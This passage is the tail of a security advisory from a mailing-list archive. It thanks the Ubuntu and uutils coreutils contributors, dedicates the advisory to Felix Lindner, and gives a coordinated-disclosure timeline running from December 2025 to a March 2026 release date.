Zygmunt Krynicki, Nick Dyer, Eduardo Barretto, and Luci Stanescu, in
particular) and on the uutils coreutils with us (Octavio Galland, Ravi
Kant Sharma, Seth Arnold, and Julian Andres Klode, in particular). We
also thank the members of the linux-distros mailing list (Alexander
Peslyak in particular).
Finally, we dedicate this advisory to Felix Lindner:
https://phenoelit.de/fx.html
https://defcon.social/@thedarktangent/116157827849844661
========================================================================
Timeline
========================================================================
2025-12-15: We sent a draft of our advisory and two proofs of concept
(firefox_24.04.c and snap-store_25.10.c) to the Ubuntu Security Team.
2026-03-12: The Ubuntu Security Team sent a patch, and we sent a draft
of our advisory, to the linux-distros mailing list.
2026-03-17: Coordinated Release Date (14:00 UTC).
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.